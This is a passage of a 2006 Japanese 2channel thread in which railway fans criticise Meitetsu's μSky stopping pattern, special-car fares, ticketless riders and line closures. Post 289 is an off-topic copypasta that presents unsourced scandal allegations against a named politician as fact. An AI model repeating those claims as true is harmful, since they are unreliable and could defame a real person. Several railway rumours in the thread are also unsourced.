その後、神宮前発車後検札があったけど名古屋金山神宮前から乗った客の半数以上が「無札」。心の中で「券買ってから乗れ!!ヴォギェッ!!!!」とキレたものだ。
客の意識程度の低さこそ全車特別車排除の一因かとも思えた。
ア、早々、かく言う俺はわざわざ発売開始日に旅行会社で今はなき1人掛けの席を指名買いした。よそ者なので。

225 :名無し野電車区:2006/10/30(月) 22:27:39 ID:jrGKlDA3
12月のダイヤ改正で
μスカイが太田川にも停まる
誤乗車防止だってさ
名鉄オワタ

226 :名無し野電車区:2006/10/30(月) 22:28:27 ID:azsqI9fY
>>212 懐かしい光景だな。昔はよくあったぞ。本宿、形原、西浦とか

227 :名無し野電車区:2006/10/30(月) 22:32:50 ID:RP9/Uipp
>>225
終わったな。名古屋中心部からの速達性がウリのμスカイを大田川に停めたらダメだろ
いくら自慢の車体傾斜を駆使しても、あの走行性能じゃ現行より遅くなるのは確実だろうね

228 :名無し野電車区:2006/10/30(月) 22:46:49 ID:fgkMKjCM
太田川停車とかさせるんなら、そのうちμSkyを笠松とかにも終日停車とかするんだろうか?

現行ダイヤでは朝1本位しか停まらないのに笠松⇒空港53分とデカデカと看板出してあるし



229 :名無し野電車区:2006/10/30(月) 23:12:11 ID:fKynPof5
変にスカーレットを継承しているのがだめだめだろ<流し台

青帯にすれば断然カッコよく見えるぜ?

230 :名無し野電車区:2006/10/31(火) 00:55:11 ID:oXnKog09
>>225
表向きには誤乗車防止だけど本当はミュースカイの乗客が減ったからだろw

231 :名無し野電車区:2006/10/31(火) 01:09:33 ID:UPgV6IjB
>>225
ソースは?

232 :名無し野電車区:2006/10/31(火) 01:16:23 ID:t6/A2z2Z
だったら常滑にも停めなきゃダメだろー?

233 :名無し野電車区:2006/10/31(火) 07:08:25 ID:ZKC8ESUo
あそこ停めるなら、こっちも停めろ論議で
μスカイがそのうち各駅停車にw

234 :名無し野電車区:2006/10/31(火) 07:10:26 ID:OP8y5U8F
そういえば、μスカイはやたらとμチケットなしの客が目立ったな。
空港から新鵜沼まで乗ったけど、走行中、しょっちゅうまわりの客が車掌ともめてたもん。

235 :名無し野電車区:2006/10/31(火) 07:37:19 ID:DJFjCXJN
本スレの馬鹿達はキセルについて語り合ってるよ(-_-;)
改めて名鉄ダメポ…

236 :名無し野電車区:2006/10/31(火) 10:50:30 ID:old4X3Rd
明らかに名鉄沿線の民度が下がっているなwwwwwwwww
元々低民度だったけど、それに増して車両もくそになるし、どうしようもねえw
東武よりタチ悪いwwwwwwwwwww

237 :名無し野電車区:2006/10/31(火) 18:58:55 ID:RHf4UL2z
東武ほどではないよバーカ

238 :名無し野電車区:2006/10/31(火) 19:26:51 ID:rS4Nq7gJ












239 :名無し野電車区:2006/10/31(火) 20:20:14 ID:HryvMOMu
民度が低いつーか、地域内でだんだん名鉄の影が薄くなっているんだと思うの。

240 :名無し野電車区:2006/10/31(火) 20:23:26 ID:QEjjhHXm
名鉄には死相が出ている・・・

241 :名無し野電車区:2006/10/31(火) 22:53:12 ID:x6Snw23M
本スレはキセルの話題しか無いんかい
何にしても今週行われるローレル賞の授賞式(ちなみに当日は仏滅と日柄が悪い)までは
変わった話題は無さそうか

242 :岐阜人:2006/11/01(水) 00:37:35 ID:ICPj2dIs
>>210
>本数は名鉄が倍なんだが・・・

現実に1日平均の乗降客数が減っていますからね。
新鵜沼16500→10801人
新那加6000→3544人

各務原線の三柿野以西は特にヤバイですね。

243 :名無し野電車区:2006/11/01(水) 02:11:07 ID:pZmGpz7e
名鉄自体ヤバイ。

244 :名無し野電車区:2006/11/01(水) 07:35:46 ID:8LWpX+z+
中日新聞にシリーズ化した広告を出してるぐらいだしね
もうね、必死すぎる
今日は安全面だったかな?定期的に車両を点検してるって内容
偉そうに書いてるけど、そんなん鉄道会社なら当たり前だって
おまけに実際は車両故障が後を絶たないし…

245 :名無し野電車区:2006/11/01(水) 19:19:31 ID:xtLX5GZl
車両はどんどん糞化し誤乗車続出
1000を「バリアフリー」にあってないとパチをこく始末

246 :名無し野電車区:2006/11/01(水) 19:30:16 ID:WN2DpkDo
JRに吸い取られる

247 :名無し野電車区:2006/11/01(水) 19:58:51 ID:2ez5JJH4
倒壊が買い叩くのは多分セントレア方面だけだな。
他は名古屋近郊を除いて捨てるだろう。

248 :名無し野電車区:2006/11/02(木) 12:00:15 ID:vnhj8ky+
今後も含めた検討
・μスカイの太田川停車は中部空港行きのみ行われる
空港発は従来通り神宮前までノンストップ
・本線の特急停車の見直し
新安城は通過、鳴海か前後に停車させる案が浮上
鳴海停車になると特急の所要時間がわずかに短縮
・西尾線の速達は快速急行に統一し、3ドアの専用車(セミクロス)開発
新安城特急通過の代替も担う

わかってるのはこれだけだな

249 :名無し野電車区:2006/11/02(木) 16:37:32 ID:8KW5Jzy1
>>248
ソースは?

250 :名無し野電車区:2006/11/02(木) 18:02:42 ID:siApAlWX
>>249
俺はオタフク派。

251 :名無し野電車区:2006/11/02(木) 20:09:44 ID:tb8ahk23
ていうかセントレア自体、乗客伸び悩んでるし
逆に貨物はやたら増えてるが

252 :名無し野電車区:2006/11/02(木) 20:12:20 ID:kToLUdPs
西尾特急廃止かよ
1600系は特別車1+一般車3の4両と改造すれば西尾特急に丁度よさそうなんだがなー

253 :名無し野電車区:2006/11/02(木) 20:52:03 ID:CnmKUSJy
ここの1600系はブサイクすぎる、即廃車か外国に売ってしまえ。

254 :名無し野電車区:2006/11/02(木) 21:50:16 ID:siApAlWX
>>253
俺は好きだけどなぁ〜


255 :名無し野電車区:2006/11/03(金) 00:45:15 ID:FATgszNd
1600系って結構嫌われ者だったけどあの公式リリース以来注目浴びてるなあ・・・・・・。

256 :初心者:2006/11/03(金) 02:05:31 ID:nTDFaNhs
この板は初めてですが、どうぞよろしくお願いします。
99年に、名鉄株が一気に下落しているのをチャートで見たのですが、
何故なのかよく分かりません。
どなたか詳しい方がおられましたら、どうか教えて下さいまし。

257 :名無し野電車区:2006/11/03(金) 06:41:35 ID:MH9xITai
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258 :名無し野電車区:2006/11/03(金) 13:10:25 ID:WWIhqDqt
名鉄の運賃のバカ高さはガチ。
それで客が減る悪循環もガチ。

259 :名無し野電車区:2006/11/03(金) 14:35:32 ID:bgf49vQP
>>248
ミュースカイ空港行き太田川停車で、空港発通過じゃ、
河和線方面から太田川乗換えでミュースカイで空港に行けた乗客が、
帰りもミュースカイで太田川で乗り換えできると勘違いして、誤乗するじゃんか。

まさに小手先の対応、木を見て森を見ず、の典型的な例。

260 :名無し野電車区:2006/11/03(金) 14:52:49 ID:bgf49vQP
だいたい、車内精算の蔓延がミュースカイ誤乗の温床になってるんだから、
車内精算を値上げするなりする考えはないのかね?
(特急停車無人駅からの乗車など、やむをえない場合は、切符を車掌に見せるなりすれば通常価格にする)
外国の公共交通機関では、事前購入と車内購入で料金に差をつけるのは常識になってるところもある。

小手先の対応が大好きな名鉄には、無理な話か。

261 :名無し野電車区:2006/11/03(金) 15:24:26 ID:Ub2KIBmn
>>260

OER方式なんてムリぽ、

大体特別車停車駅で無人君駅・・・ 支線(本線)無人君駅からの乗継客対策ムリね

262 :名無し野電車区:2006/11/03(金) 15:25:39 ID:uQjjisTo
JALも小牧便増やし始めたから
小牧線から分岐させて空港直下に駅つくれば??

どうせなら犬山線から分岐がいいんだろうけどさw

263 :名無し野電車区:2006/11/03(金) 15:39:50 ID:bgf49vQP
>>261
>大体特別車停車駅で無人君駅・・・ 支線(本線)無人君駅からの乗継客対策ムリね

ん?これに対する対策は既に>>260に書いたが。
切符を車掌に見せて、発駅でミューチケット購入できないと判断できる場合は、窓口発行価格で販売。
普通乗車券・トランパスはこれで対応可。
回数券・定期券で両端駅以外から乗車したと言う場合は自己申告になるが、
発駅でミューチケット購入できるのにわざわざリスクを犯して不正申告するバカはそんなにいないだろう。

264 :名無し野電車区:2006/11/03(金) 15:51:55 ID:7gkOoZ/N
特急を鳴海か前後に止めるのは賛成。手ごろに客を増やす手段だな。
さっさとやってくれ。

265 :名無し野電車区:2006/11/03(金) 16:24:34 ID:bgf49vQP
>>261のように、初めから無理だと決め付けるのが名鉄。
したがって、車内精算原則値上げは、名鉄には無理な話。

266 :名無し野電車区:2006/11/03(金) 22:40:39 ID:bgf49vQP
車掌の携帯端末で、乗車券確認システムの乗車駅情報を読み取れるのか?
読み取れれば、乗車駅がミューチケットを買えない駅or特急非停車駅かどうかなんて、すぐに分かる。

267 :名無し野電車区:2006/11/03(金) 22:57:48 ID:bgf49vQP
特別車両料金は350円とします。
ただし、当該列車の停車駅から入場し、窓口でミューチケットを購入しなかった場合、車内精算手数料50円を頂きます。
当該列車の停車駅のうち、ミューチケット窓口がない駅から入場した場合、
あるいは当該列車の停車駅以外の駅から入場して、当該列車に乗り継いだ場合は、手数料は頂きません。
車掌に乗車券を提示して下さい。

決して不可能な話ではないと思うが、名鉄は不可能だと決め付けているのだろう。
連投スマソ

268 :名無し野電車区:2006/11/03(金) 23:06:26 ID:HQ+ypIWD
碧海古井
碧海堀内

269 :名無し野電車区:2006/11/03(金) 23:40:09 ID:Ub2KIBmn
>>267

簡単な話、定期券が大問題になる 半球方式のチェックも日付だけ(乗車駅は印字されない)
全駅でSFスタート、車掌が磁気情報読めるリーダ携帯したら別だけどね

<定期券で特別車乗車不可にしたら無問題かも知れんけど、収入面からみて自殺行為>

270 :名無し野電車区:2006/11/03(金) 23:40:54 ID:MmJzDF9v
>>264は、名鉄オワタがやりたいだけだろう。こういうアンチがいることを本社に通報しろ!


鳴海、前後は急行だけでいい。

271 :名無し野電車区:2006/11/03(金) 23:42:20 ID:MmJzDF9v
>>268
へき地に見えるから
その地名死んでくれ

272 :名無し野電車区:2006/11/03(金) 23:49:59 ID:Ub2KIBmn
>>269

あと束のかえる君が相当非難されているけど、名鉄はもっと酷い

なんせ、無人化した駅で過去に発売していた企画券が発券できす、利用(購入)したければ
最寄の有人駅へ逝けと(定期券の様な無料での乗車票もない)

当日乗り放題の企画券を利用する際、無人化前までは該当駅で購入して乗車、
無人化後は、最寄の有人駅まで<別途運賃>を支払いして、企画券購入<救済一切なし>

名鉄の都合で無人化して、利用客が不利になるコトを堂々と駅に掲示しているのが名鉄クオリティー

273 :名無し野電車区:2006/11/03(金) 23:50:14 ID:bgf49vQP
>269
ID:Ub2KIBmn
相変わらず既に書かれてる内容を無視して何のつもりだ。

>全駅でSFスタート、車掌が磁気情報読めるリーダ携帯したら別だけどね
このことは既に>>266で書いた。これが理想。
次善として、>>266のようなことをしなくても、定期券は自己申告でも大した問題は起こらないと、>>263で書いた。

274 :名無し野電車区:2006/11/04(土) 00:11:37 ID:okyqUVCh
>>273

ちが〜う、だれが文句を言うのかは「国土交通省の中部なんとか」・・・・
特定旅客にエサ与えるだけなら、無問題かも知れんがね。

行政側が、かなり名鉄の特別車の運用にシビアになっている。
大体、過去の白帯車問題など、経営者側判断と思われる内容に行政側がゴルァして、変な制限が・・
ほかにもライナー問題(旧型設備で同額の料金徴収するなとか)、特別車無人駅特例問題(車内で座席指定を行う)、コレぜん〜ぶ行政側指導の結果

下手に旅客を差別(不公平)に扱った場合、行政側チェック(認可不可)で実現不能になる
だから、一部特別車編成の急行運用等で特別車開放不可にしたのも行政指導(一部の客だけが得をするのも認めていない)


275 :名無し野電車区:2006/11/04(土) 00:23:20 ID:n1EONrRO
>>274
ソース!!

276 :名無し野電車区:2006/11/04(土) 00:25:37 ID:bZnoFq2D
>>274
まず、
「お 前 が 認 可 す る わ け で は な い だ ろ」

窓口で買うことができる乗客が、正規の手順を踏まず、車内精算したことに対し、一種のペナルティとして手数料を徴収するのは許されないのか?
法律で定められる「差別対価」は、「不当に」差別的な対価を取ったときに適用されるもので、正当性があれば何ら妨げられるものではない。

277 :名無し野電車区:2006/11/04(土) 01:37:49 ID:RKGW+Cmc
256 名前:初心者[] 投稿日:2006/11/03(金) 02:05:31 ID:nTDFaNhs
この板は初めてですが、どうぞよろしくお願いします。
99年に、名鉄株が一気に下落しているのをチャートで見たのですが、
何故なのかよく分かりません。
どなたか詳しい方がおられましたら、どうか教えて下さいまし。

278 :名無し野電車区:2006/11/04(土) 07:25:03 ID:bZnoFq2D
>>274のように、あれこれ理由をつけて、「できない、できない」と持っていこうとする思考が名鉄の姿。
今の名鉄に必要とされているのはそんな精神でないだろうに・・・

279 :名無し野電車区:2006/11/04(土) 09:11:19 ID:n1EONrRO
ヲタどころか、一般利用者ですら見放されつつあるのが今の名鉄w

280 :名無し野電車区:2006/11/04(土) 10:06:36 ID:FH8xSLYU
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281 :名無し野電車区:2006/11/04(土) 10:10:57 ID:zNE6BMT7
名鉄・中日新聞はアンチ多いね。
ドラゴンズも実は愛知県民の本音は嫌ってたりして。
トヨタ・倒壊・auは好き

282 :名無し野電車区:2006/11/04(土) 10:30:56 ID:bZnoFq2D
>>274
特別車の車内精算手数料ごときで差別と騒ぐなら、
JRの特定運賃なんかとんでもない差別になるが。

特定運賃の認可は競争秩序を乱す地域的ダンピングにあたり、違法だと主張もできるのに、
(国が負ける裁判事例なんていくらでもある)
「お上のやることはすべて正しい」意識から抜け出せない名鉄は、訴訟検討もしていないだろう。

283 :名無し野電車区:2006/11/04(土) 10:39:48 ID:2Cqyumyy
そーかな?昔JRの地方交通線運賃と幹線運賃の格差は違法として裁判を起こしたひとがいたけど
結局JRの勝ちだったと思う。

284 :名無し野電車区:2006/11/04(土) 10:46:12 ID:bZnoFq2D
>>283
幹線・地方交通線運賃と、特定運賃とではまったく性格が違う。
幹線・地方交通線運賃は、収益性の違いによって運賃を分ける正当な理由があると考えられる。

特定運賃は、明らかに他社競合区間のみを狙って競争上有利にする目的であり、幹線・地方交通線運賃とは全く性格が異なる。

285 :名無し野電車区:2006/11/04(土) 22:09:07 ID:n1EONrRO
>>281
名鉄は何を言おうがオワタだし
中日新聞はクソサヨだし
ドラゴンズは(ry

286 :名無し野電車区:2006/11/04(土) 22:18:47 ID:XeT3//aF
>>270
前後は普通のみでよい。
その代わり、本星崎に全(ry

287 :名無し野電車区:2006/11/04(土) 22:30:59 ID:WkUJ5Wco
ドラゴンズはヌルポンズだお

288 :名無し野電車区:2006/11/04(土) 23:04:04 ID:1p/sOkor
>>287
ガッ

289 :岐阜の恥!小泉チルドレン佐藤ゆかりの落選運動。コピペ推奨:2006/11/05(日) 00:15:35 ID:f377NGJs
落選運動 小泉チルドレン佐藤ゆかりのスキャンダル この一年間のまとめ 総理に嫌われ秘書らに逃げられ代議士失格!
http://society3.2ch.net/test/read.cgi/soc/1151588042/l50  ↑議員は政治資金が無いなら株を買え!
●公募中、コネがあるサイタマ15区の選考落ちで安部氏に「喧嘩売ってんのかよ」と暴言し、岐阜1区左遷。
★2005年8-9月、『W不倫/不倫メール500通疑惑』発覚。また、所得が無ければ株を買えと暴論。当然落選。
★9月、当選直後に選挙区内の有権者宅を個別訪問し市民団体から公選法違反の告発。また、審議中の居眠りも発覚。
●11月、「子育ては自助努力で行え」、「私は女性優遇枠ではない」とワセダで暴言。隣席のさつき氏唖然。
★2006年4-5月、グレーゾーン金利などサラ金問題の最中、チワワの行政処分直後にサラ金団体で講演し癒着判明。アナリスト時代からサラ金に投資を勧め、某サラ金とは仲が良いことが発覚。
★同、『サイタマの脱税学校法人癒着・補助金くちきき疑惑』発覚。2006年冬、学園が脱税を指摘される直前に講演。サイタマから出馬の動機や、学校教育に口を出したがる真相が発覚。
●5月、岐阜の民主候補の公約「ふるさとお返し税」をパクリ、更に自身のアイデアと総裁候補に嘘を吐いたとされる『疑惑のふるさと税』発表。また、ゆかり組東京事務所に人殺しの8氏が出入りしているとの指摘がなされる。
●6月、ヤマクク派同僚と髪なでなで不倫デートが発覚。同僚のセクハラだと言い逃れするが、TVでおどおどした様子が放送され非難を受ける。安陪氏にもうないな?と念を押され、後に「あの女はまたやる」と疎んじられる。
●6月、紛糾した審議中に同僚と遊びで写メール激写!「(国会で)初めて撮りました」とタイゾー並みの言い訳。
★7月、岐阜で起こった1億5千万円の出資詐欺に加担が発覚。その詐欺師を後援会の宴会に呼んだことまでわかる。
★7月、長良川花火大会・公選法違反疑惑発覚。花火大会の招待券を選挙区内の産婦人科医に譲渡した疑惑。削除依頼まで出る。
●7月、TB$番組朝ズバの赤坂億ション議員宿舎問題で「議員は贅沢させないと企業と癒着する」と暴言。税金4000万貰ってもまだ不足かと反発され番組降板。しかも宿舎には住まないと明言しながら住んでいた!
●9月、総裁選で猟官。世論の反発を受け断念。公募中の暴言で総理にも嫌われていたや、秘書が相次いで辞めたことが発覚。

290 :名無し野電車区:2006/11/05(日) 13:36:15 ID:jeH9DC3l
このスレは、本スレより勉強になるな。
本スレ・・・木下の犬が潜入していないか?

291 :名無し野電車区:2006/11/05(日) 14:37:01 ID:nu+7xp8c
名鉄株価
http://smartchart.nikkei.co.jp/smartchart.cfr?scode=9048.1

勝川線 - 1936年4月8日休止、1937年2月1日廃止
清洲線 - 1944年6月10日休止、1948年8月3日廃止
起線 - 1953年6月1日全線休止、1954年6月1日全線廃止
小坂井支線 - 1954年12月25日廃止
(旧)西尾線 - 1959年11月25日福岡町〜西尾間廃止
(1943年 岡崎新〜福岡町〜西尾間休止、1951年 岡崎駅前〜福岡町間が福岡線として営業再開)
尾西線 - 1959年11月25日玉ノ井〜木曽川港間廃止
(1944年 奥町〜玉ノ井〜木曽川港間休止、1951年 奥町〜玉ノ井間が営業再開)
平坂支線 - 1960年3月27日廃止
高富線 - 1960年4月22日廃止
安城支線 - 1961年7月30日廃止
岡崎市内線・福岡線 - 1962年6月17日廃止
岩倉支線 - 1964年4月25日廃止
鏡島線 - 1964年10月4日廃止
一宮線 - 1965年4月25日廃止
挙母線 - 1962年6月17日岡崎井田〜大樹寺間廃止、1973年3月4日大樹寺〜上挙母間廃止
瀬戸線 - 1976年2月15日堀川〜東大手間廃止
(1978年に栄町〜東大手間の地下新線開業)
岐阜市内線 - 1988年6月1日徹明町〜長良北町間廃止、2003年12月1日岐阜駅前〜新岐阜駅前間休止、2005年4月1日岐阜駅前〜忠節間廃止
美濃町線 - 1999年4月1日新関〜美濃間廃止、2005年4月1日徹明町〜関間廃止。
八百津線 - 2001年10月1日廃止
竹鼻線 - 2001年10月1日江吉良〜大須間廃止
谷汲線 - 2001年10月1日廃止
揖斐線 - 2001年10月1日黒野〜本揖斐間廃止、2005年4月1日忠節〜黒野間廃止
三河線 - 2004年4月1日西中金〜猿投間、碧南〜吉良吉田間廃止
田神線 - 2005年4月1日廃止

292 :名無し野電車区:2006/11/05(日) 15:03:51 ID:0NQ74scg
本スレの名鉄御用ヲタ。
こいつらは、妄想叩きをするくせに、それと同じことが名鉄によって発表されると、
手のひらを返したようにホイホイ賛成に回る。
ミュースカイ以外全特急系一部特別車化が典型例。

293 :名無し野電車区:2006/11/05(日) 15:43:43 ID:0NQ74scg
名鉄御用ヲタは、物事の内容で判断することができず、
物事を「名鉄という権威が発表したものか、否か」で判断する
カワイソウナ人達。

294 :名無し野電車区:2006/11/05(日) 20:47:53 ID:VVRK4Q3r
本スレで、接客態度の悪い駅員(特に名駅新改札にいる♀)を批判すると、
本スレの馬鹿達は「オメェがキモイから」とか言ってやたら名鉄関係の奴らを必死に擁護する(-_-#)
奴らはこれからも、ダイヤ改悪だろうが社員&駅員改悪だろうが必死にマンセーするんだろうな…

295 :名無し野電車区:2006/11/05(日) 21:57:18 ID:lkfur0tp
>>294
大事なことを忘れてないかい?
「名鉄社員もしくは関係者が紛れ込んでる可能性」
9月末の新政策発表直前からそれらしい内容の発言が目立つ
脳内社員なら笑って済ませるが、本当に社員だったら洒落にならん。

296 :名無し野電車区:2006/11/05(日) 22:19:35 ID:MN/CmH0q
名鉄オワタ\(^o^)/

297 :名無し野電車区:2006/11/05(日) 23:02:19 ID:AS4nteb0
しかしまぁ、キモイと思う相手には接客態度を下げてもいいなんて素敵な職場ですね
まさに労働者の天国。客は奴隷ってところかw

298 :名無し野電車区:2006/11/05(日) 23:55:05 ID:TxSJOis1
>>297
単なる被害妄想。
事実、接客が悪いという苦情の殆どは本人の思い込み。

299 :名無し野電車区:2006/11/06(月) 00:31:53 ID:hPKp0Tl1
名焚くならいくらでもいる。

300 :名無し野電車区:2006/11/06(月) 01:34:37 ID:yRS78UXE
>>297
奴隷って酷い事言うよなあ・・・・・・。
生体CPUか嵩張る荷物程度にしか思ってないと断言する。

301 :名無し野電車区:2006/11/06(月) 18:10:55 ID:GgVS4qaX
名鉄御用ヲタの特徴

名鉄が発表したことに対し、反対意見があると、
「もう決まったことなんだよ!」と、掲示板上の議論を封殺する。
こういう奴に限って、発表前は、同じことを妄想だとして叩いていたりする。

まさに虎の威を借る狐。虎といっても、張りぼての虎に過ぎないかもしれないが。

302 :名無し野電車区:2006/11/06(月) 18:44:23 ID:GgVS4qaX
>>297 >>300
名鉄にとって、客とは、
「文句を言う貨物」。

303 :名無し野電車区:2006/11/06(月) 19:05:14 ID:y5SsjjSD
今の名鉄には客を旅客として扱わないからな。てっ言うか貨物以下だな。

304 :名無し野電車区:2006/11/06(月) 19:29:49 ID:w1Ez5GK7
>>301
要は自分が言ったことが馬鹿にされて悔しいんだろ。

305 :名無し野電車区:2006/11/06(月) 19:46:11 ID:GgVS4qaX
>>304
後に名鉄が発表したことと同じことを、妄想だと叩いた香具師は、反省しる!

306 :名無し野電車区:2006/11/06(月) 19:51:10 ID:w1Ez5GK7
>>305
断る

307 :名無し野電車区:2006/11/06(月) 23:45:12 ID:+wf8XUS2
名鉄ヲタって、以前はもっとたくさんいたと思うけど、近年減少してるような気がするのは漏れだけか?

308 :名無し野電車区:2006/11/06(月) 23:51:04 ID:yfzM7VFX
>>307
それが名鉄の狙いだから

309 :名無し野電車区:2006/11/07(火) 00:01:23 ID:+wf8XUS2
じゃあ名鉄って、将来は京成みたいになっちゃうのかな?

310 :名無し野電車区:2006/11/07(火) 00:04:22 ID:KC9wb38i
>>309
南海を越える!!!

311 :名無し野電車区:2006/11/07(火) 00:19:43 ID:zTW+11du
確かに最近の名鉄は、南海に似てきたな〜。
空港輸送に力入れて、それ以外はロングシート。
指定席+一般席っていうのも同じだし。

312 :名無し野電車区:2006/11/07(火) 00:20:42 ID:3+31oVe8
もう超えた感があるのは気のせいか・・・。

313 :名無し野電車区:2006/11/07(火) 00:26:45 ID:hsakfA9e
>>307
旧型車の減少と共に厨房が跋扈するようになったから。
例えば>>301とか>>302とか>>305とか。

314 :名無し野電車区:2006/11/07(火) 00:28:47 ID:3+31oVe8
そういえば、南海も20年位前まで名鉄5000系を彷彿とさせるような車両で
一特を走らせてたっけ?
だとしたら名鉄は南海の後追いか・・・。
南海は最近クロスシートが復活気味だが、どうなることか・・・。

315 :名無し野電車区:2006/11/07(火) 01:37:34 ID:bATiueNl
>>314
その唯一の希望の転クロ車も最初は糞ダイヤ也に大運転でイキまいていたが
今じゃあ山ごもりやってるもんなァ・・・・・。

316 :名無し野電車区:2006/11/07(火) 01:42:21 ID:Mb7eU7kl
市内線を廃止した時点でどうでもよくなった。

317 :名無し野電車区:2006/11/07(火) 01:52:55 ID:codT539d
自社のシンボルを否定してまでバリアフリーを押し進めるって…自分の会社のシンボルよりバリアフリーが大事なのかよ?
それに1000がバリアフリーに対応できないって展望席だけの話だろ…

318 :名無し野電車区:2006/11/07(火) 02:08:11 ID:qrhR+jq1
名鉄の理論でいえば、JR東日本が大量導入している2階建てグリーン車なんて
バリアフリー無視の欠格車両ということなんだろうな・・

319 :名無し野電車区:2006/11/07(火) 02:12:27 ID:3+31oVe8
>>315
>転クロ車
↓これのことだな。
ttp://www.agui.net/imglog/20/img-box/img20061027024503.jpg
なんか、流し台よりも名鉄らしい車両だと思うのは漏れだけか?


岐阜といい和歌山といい、元気の無い都市を抱えると大変だな・・・。

320 :名鉄マソ:2006/11/07(火) 03:28:20 ID:uzFJXgiK
これからも名鉄をよろしく。

321 :名無し野電車区:2006/11/07(火) 06:59:16 ID:q79Km4Ki
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322 :名無し野電車区:2006/11/07(火) 07:05:37 ID:MocDlP/S
南海はまだまだ名鉄よりはいける。

323 :名無し野電車区:2006/11/07(火) 11:02:21 ID:LAMbOZV+
>>319
これいいなあ〜。名鉄に欲しい。
名鉄って、1000系一般車の前面が部内で好評だったみたいで、それから全然変えてないんだよな〜。
はっきり言ってもう飽きた。

324 :名無し野電車区:2006/11/07(火) 11:02:46 ID:kYwiJgKP
名鉄はこのまま死亡臭い。そのうち

「補助金出せ。出さなきゃ全線廃止」

とまで言いそうだ。JR東海乗るから
廃止されても困らないが。

325 :名無し野電車区:2006/11/07(火) 16:26:07 ID:gqArgNCH
鉄道事業本部で単体黒字なのに何故補助金がいるのか?

326 :名鉄マソ:2006/11/07(火) 19:03:26 ID:uzFJXgiK
バスが真っ赤。

327 :名無し野電車区:2006/11/07(火) 19:04:35 ID:XJLeDubo
>>307
名鉄御用ヲタ。
こいつらを、真の名鉄ファンとは言わない。
名鉄という権威にへつらって、マンセーマンセーして、
批判者を「名鉄様はこう言っとる。黙っとれ!」と名鉄の威を借り威張るばかり。

主体性を持たないファンは害悪なだけ。
悪いところは悪いと自分の判断で言えるファンこそ、増えてほしいファンである。

328 :名鉄マソ:2006/11/07(火) 19:10:16 ID:uzFJXgiK
まあ所詮サービス業だから。

329 :名鉄マソ:2006/11/07(火) 19:12:52 ID:uzFJXgiK
創造性といった類の主体性は組織的に嫌われる。

330 :名無し野電車区:2006/11/07(火) 19:15:42 ID:KC9wb38i
存在価値ぐらいは創造しないと…

331 :名鉄マソ:2006/11/07(火) 19:18:36 ID:uzFJXgiK
そこまで言うかw

332 :名無し野電車区:2006/11/07(火) 20:00:11 ID:XJLeDubo
本スレより
リニモ、名鉄に「ローレル賞」の贈呈式 - 詰めかけた鉄道ファンも大興奮
http://journal.mycom.co.jp/news/2006/11/06/321.html

「ローレル賞、転じてツブレル賞」などと後世に伝えられないことを祈る。

333 :名鉄マソ:2006/11/07(火) 20:04:52 ID:uzFJXgiK
リニモなんてのもやらされ事業だからなw

334 :名鉄マソ:2006/11/07(火) 20:07:33 ID:uzFJXgiK
ほー、出世したな某氏。。

335 :名無し野電車区:2006/11/07(火) 20:13:15 ID:vMCPB9gu
>>324
なぜ全線廃止?
犬山線や津島線、知多半田以南など他路線がない場所から通勤する人はどうするの?

あんな遠い場所から車通勤は無理があるし、名古屋や金山となれば車通勤禁止の会社は多い。

336 :名無し野電車区:2006/11/07(火) 20:31:08 ID:XJLeDubo
>>324
>犬山線や津島線、知多半田以南など他路線がない場所から通勤する人はどうするの?

名鉄には「他路線がない場所」を廃止してきた輝かしい実績があります。
名鉄で黒字路線なんて数えるほど。つまりその他は、単路線赤字を口実に、補助金クレクレ詐欺を実行しても何もおかしくない。

337 :名無し野電車区:2006/11/07(火) 20:34:48 ID:XJLeDubo
>>335だった。

338 :名無し野電車区:2006/11/07(火) 21:32:38 ID:XVrIsIBc
ん〜でも追加350円だけであの確実着席の車内環境ゲットできるのは名鉄ぐらいでしょう
昼間・土休日にいったては回数券買えば一席250円で座席リザーブ可能

339 :名無し野電車区:2006/11/07(火) 22:53:01 ID:PyfEY+0Z
ぶっちゃけ日中の特別席って必要か?
通勤時間帯のみライナー走らせれば特急は全車自由席でいいんじゃないの?


340 :名無し野電車区:2006/11/08(水) 00:06:35 ID:1HEc+18j
自分は常滑によく用事あるから土日でも仕事の後とかだったら特別車で座って
行きたい&寝たい

341 :名無し野電車区:2006/11/08(水) 00:12:10 ID:1HEc+18j
この前仙台行ったら宮城交通関係者が「空港できてから親会社の態度やけにデカく
なった。地方子会社の役員も今や殆ど名古屋からの人間で独占してるんデズ」
って言ってたわ〜

342 :名無し野電車区:2006/11/08(水) 00:29:05 ID:jDJAMepH
>>339
ゆっくり座って行きたい人や長区間利用者・快適性を味わいたい人には
グリーン車的な使い方として必要だろう
ただその人たちのために日中に特別車を用意するのが経営や会社としてどうかといえば??

343 :名無し野電車区:2006/11/08(水) 00:44:30 ID:5vg3c66s
>>342

それだけが、唯一倒壊との差別化 まぁ、あっちも銭取るライナー始めたけどね(W

344 :名無し野電車区:2006/11/08(水) 07:57:34 ID:1HEc+18j
金払って座って何が悪い??格差社会なんだからしょうがないじゃん・・・
350円えんぐらいでがたがたぬかすなよ

345 :名無し野電車区:2006/11/08(水) 08:03:25 ID:54T6cUHm
別に悪くないけど、それで日中空気輸送で経営に響かなきゃいいけどね、
って話だろ。

346 :名無し野電車区:2006/11/08(水) 12:10:01 ID:6lMPGL6/
ミュースカイ以外の全特全廃なんとなく失敗しそうな悪寒。
急行系統利用者が単に分散して終了な可能性が高すぎる。

347 :名無し野電車区:2006/11/08(水) 12:20:00 ID:Qw76yRgM
>>137
で、
急行の大幅縮小・廃止&特急の急行化、か? まさに糸冬了だな。

348 :347:2006/11/08(水) 12:22:22 ID:Qw76yRgM
レス番違ったorz
>>346

349 :名無し野電車区:2006/11/08(水) 15:55:59 ID:SAxPSeYW
本スレ、今度はグモ&焼肉ネタで盛り上がってる、最低


350 :名無し野電車区:2006/11/08(水) 17:28:34 ID:9yv3QWJG
ゲロネタが終わったらグモネタですか
いまいち明るい話題も無くじわじわ株価も下がる名鉄、どうなる

351 :名無し野電車区:2006/11/08(水) 18:15:45 ID:KoNmhePX
>>327
お前も同じじゃん。

悪く言う事がカッコイイと思ってるんだろ?

352 :名無し野電車区:2006/11/08(水) 18:17:49 ID:4mFxf3ZV
>>349
確かにそうですね(^_^;)
本スレがあそこまでバカすぎると名鉄の行く末は知れてるかもね(-_-;)

353 :名無し野電車区:2006/11/08(水) 18:28:35 ID:KoNmhePX
そしてこのスレには自分がまともと勘違いしているバカが居着くのであった。
それが>>327

いい加減ガタが来た車両を取り替えるだけでその会社の叩く。
好きな女に相手にされないからといって、その女の悪口をネットで言い触らすストーカーと
どこが違うというのか。


